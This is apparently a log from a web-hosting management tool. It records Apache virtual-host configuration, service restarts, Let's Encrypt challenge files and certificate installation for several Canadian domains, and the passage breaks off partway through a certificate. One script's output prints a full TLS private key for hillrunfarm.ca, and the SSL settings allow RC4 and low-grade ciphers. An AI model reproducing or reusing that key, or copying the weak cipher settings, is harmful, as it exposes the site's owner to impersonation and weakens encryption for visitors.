</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_secure_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi
2025-09-27 06:00:43:
chmod 755 /tmp/pkp378713; /tmp/pkp378713; rm /tmp/pkp378713
2025-09-27 06:00:43:
2025-09-27 06:00:43:
PUT: /tmp/pkp346575
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-27 06:00:44:
chmod 755 /tmp/pkp346575; /tmp/pkp346575; rm /tmp/pkp346575
2025-09-27 06:00:44:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:00:44: Establishing a connection
2025-09-27 06:00:44:
PUT: /tmp/pkp673512
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-27 06:00:44:
chmod 755 /tmp/pkp673512; /tmp/pkp673512; rm /tmp/pkp673512
2025-09-27 06:00:44:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:00:44:
PUT: /tmp/pkp951325
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:00:44:
chmod 755 /tmp/pkp951325; /tmp/pkp951325; rm /tmp/pkp951325
2025-09-27 06:00:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 1391
<VirtualHost *:80>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_secure_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-27 06:00:44:
PUT: /tmp/pkp526627
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:00:44:
chmod 755 /tmp/pkp526627; /tmp/pkp526627; rm /tmp/pkp526627
2025-09-27 06:00:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt 5369
e7:4c:68:67:70:eb:e8:08:7d:c8:92:bd:f6:e0:1e:37
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBTE/Cnkz2ymK+89+y48AcqTNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMjEyWhcNMjUxMjI2MDUwMjExWjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AK9S1u7S+CnmbSBrS3fqv4KvAyAugyONbUysYEb3K2q6GkFLJDwGJjXcrH5t1Gm6
I8W552Q5JHnwLCFc6/vNjah3R5Fw68EF+gynOpxLncPz3B0uEq4iGUrdwRk2QY3X
TFRZF41vyRIsOLs80b8jvg0LLCBi3+eGeff5UX18vgY13S5BeQ+aVx6ihkKQKPuu
M36yYbKWOCxiYvVlDb3FTwMH7/mvAmvAVGZkRZarexRnELGla96JuDLEyfaEzuS2
uNADcX29HHhG960uQ1c91qGLGVu60sbmRquxaQbDNrzcg4Yf0I7DpnSP9/hd3lM3
Un0d4kqInugoCumDg3w5e28CAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUKEO7v0iWDW16BAvW13AARlNJ1skwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzguY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZicJmHQAABAMARjBEAiAHOFszSoxlEDpIWwRjv+5cGhChlTPD8yLZrQnL5UMS
dgIgY0TVoLghL15qpUMvJTJGTbLdOn6vgyFDPQ3FnQPdISIAdgAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmJwmYfAAAEAwBHMEUCIFzXizAF4gGJ
yufSdZMLMFCeWOESmG/WlKJ6f4/qNA4cAiEA+3VU2SIRj2RfOjskMjRFJoG0AEIL
VjAH9QlfS9ngw4gwDQYJKoZIhvcNAQELBQADggEBAEHkrgT4xBw2+haVcp+0IGiH
69kwgFmaGUpEqG9PTJ5TQ27J6K0/EyMlybx/M3Q8mvUWcgVf7Wh3JN1ueBM+Z2NJ
oBSw01oelRlci7Xw0D3aAFnNqr5Ykh2efpZXs3PsOLsmBkCtQZyTirBdj70siyh5
xXEv2f1ctNYeMvFHXVzqGuotBkRAOWnixTm3Larx5W1JWU26wZMVscyzZGVc7tbM
YF2ghu7HpTdEiHg26CuQg0ZDNkMggO3IOEKD6KMGdVKaL16c5XVJlntBZKZpTtsr
6BpZDgJ8Q0PzwnXBnGf9n38NtWiP+ojP60C/8g2uRWMLEe5LyCtxpUnhuVcTilg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvUtbu0vgp5m0g
a0t36r+CrwMgLoMjjW1MrGBG9ytquhpBSyQ8BiY13Kx+bdRpuiPFuedkOSR58Cwh
XOv7zY2od0eRcOvBBfoMpzqcS53D89wdLhKuIhlK3cEZNkGN10xUWReNb8kSLDi7
PNG/I74NCywgYt/nhnn3+VF9fL4GNd0uQXkPmlceooZCkCj7rjN+smGyljgsYmL1
ZQ29xU8DB+/5rwJrwFRmZEWWq3sUZxCxpWveibgyxMn2hM7ktrjQA3F9vRx4Rvet
LkNXPdahixlbutLG5karsWkGwza83IOGH9COw6Z0j/f4Xd5TN1J9HeJKiJ7oKArp
g4N8OXtvAgMBAAECggEBAI/ARXimRFHenCVTtBpLwOC+7LorSN0SrcaLI5msOc4V
b0eP+9K3XAcXu9sh5GMX+xK5He+AJtdQRG7KiLb6UCcMPgMTaknmw6IyT40tNtsf
DKBkUW6ziLdo4VXxtYg+OliCgBw4xs1+srla4cNt4/s/6NtZFqr4CPN4WgehCxF9
JwF3VsgCWdNqe81BQ2JgLPTkyHNFsVpmyWaBSlH9aioSqE0E7r/FB2IePY7YAe0B
NHTOjrWP8sHjmbT/n2uxRYkceg3/PSw9uGWs/x1qjuR+PTLG9lRWxZHy+PHu3Kbv
EyJty2x3r7N8Zieux/DKB1KhjTk/FaE8kxU7/jwRyhkCgYEA3Fk23yNbsECGe+CM
KNEW0NpA+1OktFUraCDTId28ld3OnRu/qw4VhER+Ekj1oqz/WvIgt9DkHpARqTUt
lTvfuzIcRytXW1zon2iT3K91u10hp/Dv/+gOdASZOIJVVTIvLiIccuRbt+SKDTPv
KuMCynCLPs8UVKd9N/k70j3XrvUCgYEAy7C0Lc8aG2dkFSHJEzD0G5l2gWDfSNTz
fgJOmbY3RJf5LrzFUW0rtdfiuWE56tiE3TpzoFMTdsgyR4vu8QAcRPoLuDlD7aKF
ugt+ZgPZj48lYSg6K5Oz72fPYn5NsRxSgpI5tzX3MWSRsEN2llwzaBVfa5S9oSdE
zvAJZjVfelMCgYBduz2SMdJA6VHLxDsa6caQ1SarQmtfopMyWjQ1xcMA5TeMsU8Z
Doasmw4d7RdAOeLt5u1wA9XmAlbg6ZQYVT3YvXo19APXA3CYzr2HNMQaDYXRkLYm
36m2RHaBCUAPW6eiMjRz0xwI35iyARON5L89Kh6xexkk4ZJsiwKdbl0fOQKBgBOR
bj3YX5GyZRMCo+aMFWdxXskfHVRJ4PqCDjsGHlkgoHe0+t/PtRtLGiTlCkNdeaYn
L2R/lqcapHnrH5FXiV+3Bdk05ym1K1OsNwBl7ki0X8rtqmj1T5v4RRwZNi2FoweY
NKM9M/oyxyw/zuyy/t1I8FnNeEo7E4kt1jlTd1CxAoGAeV7PH4rAGZ8jtfwtrW1H
GLgCEhW00B5Svv9DS+hD0l9doFLTClXFbQuAJAQ/hvRln1FtvGY/IfL4qw3jRu8o
vxheDWsCGD422LmoKbf3poFnp8Vo90bTvHnA4rI4ETX6ThLKeHTgnvtAoJdf1Ifv
xTkH38bQ5C5irVB3R8CnVFg=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-27 06:00:44: Establishing a connection
2025-09-27 06:00:44: Establishing a connection
2025-09-27 06:00:45:
PUT: /tmp/pkp178293
#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-27 06:00:45:
chmod 755 /tmp/pkp178293; /tmp/pkp178293; rm /tmp/pkp178293
2025-09-27 06:00:45:
1
2025-09-27 06:00:46: Establishing a connection
2025-09-27 06:00:46:
PUT: /tmp/pkp492217
#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw
cat > DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s
cat > _o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk
cat > 8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA
cat > ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ
cat > EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA
2025-09-27 06:00:46:
chmod 755 /tmp/pkp492217; /tmp/pkp492217; rm /tmp/pkp492217
2025-09-27 06:00:46:
2025-09-27 06:01:27: Establishing a connection
2025-09-27 06:01:27:
PUT: /tmp/pkp297475
#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw
rm DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s
rm _o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk
rm 8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA
rm ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ
rm EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA
2025-09-27 06:01:28:
chmod 755 /tmp/pkp297475; /tmp/pkp297475; rm /tmp/pkp297475
2025-09-27 06:01:28:
2025-09-27 06:01:28: Establishing a connection
2025-09-27 06:01:28:
PUT: /tmp/pkp712008
#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt
cat > $temp_file <<'endmsg'
ae:a1:0b:31:9e:6d:ae:6d:4f:6e:a5:0a:3b:23:49:be
-----BEGIN CERTIFICATE-----
MIIFeDCCBGCgAwIBAgISBfpo2Zneso2+KNvTikINcxjqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI3MDUwMjU3WhcNMjUxMjI2MDUwMjU2WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC1TSUihjUDfnzZeWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g
0qHhpWMhpkFDqwdCTKs1RSnh6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjX
yFf1WCsqMDXEvkxMZzairDu1l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3
RKIKW1i9R6wSbvHM6YW0kVNfnxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yph
He8mMBaH5bvUNuBL9iE7YSK1DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+
2HtynWeaazoqE+BWKaWe3T77lqOYyriPAgMBAAGjggKXMIICkzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGKyscr2FKJxbqYL/myxYb0crct5MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2H
qX8v30VZ9idPOoRUAAABmYnDE9YAAAQDAEYwRAIgRl+z5PuHDreEeaiuiVaW120u
z43s5Jk30DCzBoflH/8CIHXyr2pi95glBZ7IIpnBGpytDl/JHGDXnlELlIOwlrnz
AHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZicMUIQAABAMA
RzBFAiEAsf22Lpa4/hwbi+EXwDWn9e+H+rd+jBG0kFp/g0ph+n4CIEfv5qVIXjJD
2jaTY07ZGlc7YicpH7J3Tlvq33dtcCyvMA0GCSqGSIb3DQEBCwUAA4IBAQALwDRL
a3xRqcwYO6QaiGzRnFY/7MhK7ArhmebhF6ovKEQqyBeok1X3ffoWvSU0kZVjT+sM
zjU2eOQb9kqtWc66KkB9u/f58QdqT90HrFqVSsI9jXcWaPmW2KFQhrA8I/mD95jq
FYJMJw6h9uzDTUozdo1EVyZtQkWtDdeRk77rc3D2phbdtX10lT6r99xhAM3udhmp
BKqA6dh7xq+DcmnK8GqqYRzCxoiM+tWOIa7S5fNJ3dpB4fhRh5bp6UuKk5EfwgAT
